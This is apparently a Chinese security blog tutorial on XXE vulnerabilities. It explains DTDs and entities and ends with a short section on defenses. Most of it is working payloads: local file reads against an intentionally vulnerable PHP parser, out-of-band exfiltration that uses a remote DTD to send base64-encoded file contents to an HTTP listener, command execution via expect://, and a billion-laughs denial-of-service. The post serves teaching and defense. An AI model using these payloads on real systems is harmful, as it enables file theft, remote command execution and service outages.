对xxe漏洞的一些思考

对xxe漏洞的一些思考

XML的基础知识

什么是XML

我在知乎上找到相对通俗的解释,如下:

以一种约定的字符串来表示某些常用数据类型,例如Map或者Array、Two-Dimensional Array。 因为双方都有约定,不同的应用就可以通过这些字符串进行数据的交换。 例如作为配置文件,那么应用本身可以读取这些配置,而文本编辑软件也可以按照约定的格式来编辑这些字符串,那么就实现了人肉和应用的数据的交换。 又例如作为网络应用,服务端发出这些字符串,客户端接收到后parse,就可以实现服务端传输一个Map的数据(举例)到客户端。 另外XML带有大量信息冗余,这样也方便人的阅读。

文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!--XML声明-->
<?xml version="1.0"?>

<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档,note为根元素-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>

<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

什么是DTD

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。

内部声明DTD

1
<!DOCTYPE 根元素 [元素声明]>

引用外部DTD

SYSTEM关键字表示DTD文件是私有的

1
<!DOCTYPE 根元素 SYSTEM "文件名">

引用公有的DTD

1
<!DOCTYPE 根元素名称 PUBLIC "DTD名称" "公用DTD的URI">

什么是实体

实体其实可以理解为是一个变量,我们可以在 XML 中通过&符号进行引用。从上述的引用方式来看,实体可以分为内部实体外部实体。从另一个角度来说,实体又可以分为通用实体参数实体。我们一个个来说。

内部实体

示例代码:

1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "flag" >]>

这里 定义元素为ANY说明接受任何元素,但是定义了一个 xml 的实体,那么 XML 就可以写成这样

1
2
3
<message>
<user>&xxe;</user>
</message>

我们使用&xxe对 上面定义的 xxe 实体进行了引用,到时候输出的时候&xxe就会被"flag"替换。

image-20200813164822756

image-20200813164837975

外部实体

示例代码:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<message>
<user>&xxe;</user>
</message>

通用实体

我个人的理解是与上述外部实体是一回事,只是叫法不同

参数实体

(1)使用 % 实体名(这里%后面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 来进行引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

xxe能做什么?

此处输入图片的描述

PHP在安装扩展以后还能支持的协议:

此处输入图片的描述

有回显读取本地文件

示例代码:

xml.php

1
2
3
4
5
6
7
8
9
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>

payload

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY flag SYSTEM "file:////Users/xianyu123/flag"> ]>
<a>&flag;</a>

可以看到文件内容被读取了,结果如下

image-20200813171355703

然后我们创建一个文件test.txt,内容如下

image-20200813172145757

然后尝试读取时,发现报错了,结果如下

image-20200813172244173

CDATA标签

CDATA 全名:character data。所有 XML 文档中的文本均会被解析器解析,除了 CDATA 区段(CDATA section)中的文本会被解析器忽略。

CDATA的形式如下:<![CDATA[文本内容]]>

CDATA的文本内容中不能出现字符串“]]>”。另外,CDATA不能嵌套。

XML 实例: 在CDATA标记中的信息被解析器原封不动地传给应用程序,并且不解析该段信息中的任何控制标记。 CDATA区域是由<![CDATA["为开始标记,以“]]>为结束标记,注意CDATA为大写。

那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过,下面我们来分析一下如何做到。

首先,找到问题出现的地方,问题出现在

1
2
3
...
<!ENTITY flag SYSTEM "file:////Users/xianyu123/test.txt"> ]>
<a>&flag;</a>

在XML中,有时实体内包含了些字符,如&<>"'等。这些均需要对其进行转义,否则会对XML解释器生成错误,所以我们把数据放在"<![CDATA["和 “]]>"中,但是好像没有任何语法告诉我们字符串能拼接的,这里多个实体连续引用的方法是行不通的,所以我们就需要引入DTD文件,然后使用参数实体。

在引入外部DTD声明之后,想要嵌套其它参数实体就必须要用一个“中间参数实体”去搭桥,这个中间参数实体可以理解为eval。具体实现方法看下面的POC

payload

这里dtd引用的内容可以是本地的,也可以是公网上的

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % test SYSTEM "file:///Users/xianyu123/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://localhost:82/WWW/test.dtd">
%dtd; ]>

<root>&all;</root>

test.dtd

1
2
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%test;%end;">

结果如下

image-20200813220408547

调用过程:这里从上到下执行,首先执行payload第7行的中的%dtd;,然后把http://localhost:82/WWW/test.dtd内容引入到了payload中,这里有点类似于将 test.dtd包含进来。然后再执行第10行的&all;,然后就是一次执行%start;%test;%end;,最后把文件内容加载了出来

无回显读取本地文件

xml.php

1
2
3
4
5
6
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

test.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///Users/xianyu123/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:10006?p=%file;'>">

payload:

1
2
3
4
<!DOCTYPE payload [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

结果如下

image-20200814143940322

image-20200814143953166

这里执行的原理与上述CDATA标签的原理类似,就不再过多赘述

HTTP 内网主机探测

HTTP 内网主机端口扫描

PHP expect 命令执行(RCE)

PHP 的 expect 扩展并不是默认安装的,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

示例代码:

1
2
3
4
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

利用 XXE 进行 DOS 攻击

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

防御

方案一:使用语言中推荐的禁用外部实体的方法

PHP:

1
libxml_disable_entity_loader(true);

JAVA:

Python:

方案二:黑名单过滤(不推荐)

过滤关键词:

1
DOCTYPE、ENTITY SYSTEM、PUBLIC

Reference

本文标题:对xxe漏洞的一些思考

文章作者:xianyu123

发布时间:2020年08月12日 - 17:18

最后更新:2020年08月19日 - 14:48

原始链接:http://0clickjacking0.github.io/2020/08/12/对xxe漏洞的一些思考/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------    本文结束  感谢您的阅读    -------------